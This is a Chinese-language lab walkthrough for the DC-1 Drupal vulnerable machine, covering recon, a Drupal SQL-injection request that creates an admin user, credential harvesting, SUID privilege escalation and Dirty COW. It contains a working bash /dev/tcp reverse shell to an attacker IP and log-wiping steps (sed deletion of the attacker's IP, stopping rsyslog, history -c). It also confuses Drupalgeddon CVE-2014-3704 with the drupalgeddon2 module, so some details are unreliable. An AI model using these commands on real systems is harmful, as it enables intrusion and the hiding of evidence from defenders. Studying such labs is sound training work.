1. 靶机渗透实战的价值与意义
第一次接触DC-1靶机时,我正处在CTF学习的瓶颈期。这个基于Drupal构建的漏洞环境,完美复现了真实Web应用中可能存在的配置缺陷、权限漏洞和提权路径。不同于那些刻意设计的CTF题目,DC-1更像是一个微缩的真实网络战场,每一步渗透都需要综合运用信息收集、漏洞利用、权限提升等实战技能。
对于刚掌握基础渗透工具的新手而言,DC-1提供了绝佳的练手机会。从简单的CMS识别到复杂的提权操作,整个过程就像打游戏通关一样层层递进。我在拿下root权限的过程中,至少经历了三次"啊哈时刻"——当发现web目录下的配置文件泄露数据库凭证时,当利用Drupal的SQL注入漏洞获取管理员会话时,当通过find命令意外发现SUID提权机会时...
2. 环境准备与初步侦查
2.1 靶机环境搭建要点
建议使用VirtualBox配合VMware Workstation搭建实验环境。关键配置包括:
- 网络模式选择Host-only或NAT(避免暴露到真实网络)
- 内存分配1GB足够运行Drupal
- 确保虚拟机与攻击机在同一网段
启动后立即进行ARP扫描定位靶机IP:
arp-scan -l --interface=eth0常见问题排查:
- 若扫描不到靶机,检查虚拟网络编辑器中的DHCP配置
- 确保防火墙未拦截ICMP探测包
2.2 信息收集三板斧
端口扫描策略: 使用Nmap进行全端口扫描时建议添加-sV参数:
nmap -p- -sV -T4 192.168.1.105典型输出会显示80端口的Drupal服务,可能还有SSH服务。我曾遇到扫描结果为空的情况,后来发现是靶机系统防火墙未关闭,添加-Pn参数后解决。
CMS指纹识别: 除了Wappalyzer插件,推荐使用WhatWeb进行深度识别:
whatweb http://192.168.1.105特别注意Drupal的版本号,这对后续漏洞利用至关重要。有次我误判了版本导致exp失效,后来通过robots.txt中的generator标签确认了准确版本。
目录爆破技巧: Dirbuster的默认字典往往不够用,建议合并以下资源:
- /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
- SecLists中的Common-Discovery.txt 关键是要设置适当的线程数(建议20-30),过高会导致请求丢失。
3. 漏洞利用实战记录
3.1 Drupalgeddon漏洞利用
当识别到Drupal 7.x版本时,首选的漏洞是著名的Drupalgeddon(CVE-2014-3704)。Metasploit中有现成模块:
use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.1.105 exploit但手工利用更能加深理解。通过Burp重放以下请求可触发漏洞:
POST /?q=user/password HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded Content-Length: 120 name[0;insert into users (name,pass,status) values ('hacker','$S$Dy6x5wZ2JzJYUSN7vGRMkKzW0vEZvS8TJy6jJjK5BWSBybWYJQrK',1);-- ]=test这个注入会在Drupal中创建管理员用户hacker,密码也是hacker。有次执行失败后发现是因为payload中的空格被URL编码,改用/**/作为分隔符后成功。
3.2 数据库凭证泄露利用
在Drupal的sites/default/settings.php文件中常能找到数据库配置:
$databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupaldb', 'username' => 'dbuser', 'password' => 'R0ck3t', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', ), ), );使用mysql客户端连接后,通过以下SQL获取用户哈希:
SELECT name,pass FROM users WHERE uid=1;破解哈希推荐用hashcat:
hashcat -m 7900 hash.txt rockyou.txt我在一次实战中发现数据库密码被改为随机字符串,最后是通过Drupal的PHP filter模块执行系统命令才突破。
4. 权限提升的艺术
4.1 SUID提权路径分析
执行以下命令查找具有SUID权限的可执行文件:
find / -perm -4000 2>/dev/null在DC-1中,/usr/bin/find通常就是突破口。测试执行:
touch test /usr/bin/find test -exec whoami \;当看到root输出时,就可以构造反弹shell:
/usr/bin/find test -exec /bin/bash -p -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1' \;注意点:
- 某些系统会限制SUID执行bash,可尝试python或perl版本
- 防火墙可能拦截反向连接,可改用正向连接
4.2 内核漏洞提权备选方案
当常规提权失败时,可检查内核版本:
uname -a cat /etc/*-release针对3.x内核的脏牛漏洞(CVE-2016-5195)成功率很高:
gcc -pthread dirty.c -o dirty -lcrypt ./dirty编译时常见错误解决:
- 缺少pthread库:安装libc6-dev
- 编译通过但执行崩溃:尝试调整exploit中的内存参数
5. 痕迹清理与报告撰写
5.1 日志清理要点
Web日志通常位于:
/var/log/apache2/access.log /var/log/apache2/error.log使用sed进行定向删除:
sed -i '/192.168.1.100/d' /var/log/apache2/access.log数据库操作记录可能在:
/var/log/mysql/mysql.log更彻底的方式是停止日志服务:
systemctl stop rsyslog5.2 渗透报告核心要素
优质报告应包含:
- 时间线图表:以流程图形式展示攻击路径
- 漏洞详情表:
漏洞类型 利用方式 风险等级 修复建议 SQL注入 Drupalgeddon2 高危 升级Drupal版本 - 取证证据:关键命令输出截图(需打码敏感信息)
- 改进建议:按优先级排序的加固方案
记得在最后一次登录时执行history -c清除操作记录,这个细节很多新手都会忽略。完成所有操作后,别忘了给虚拟机创建快照,方便下次复现练习。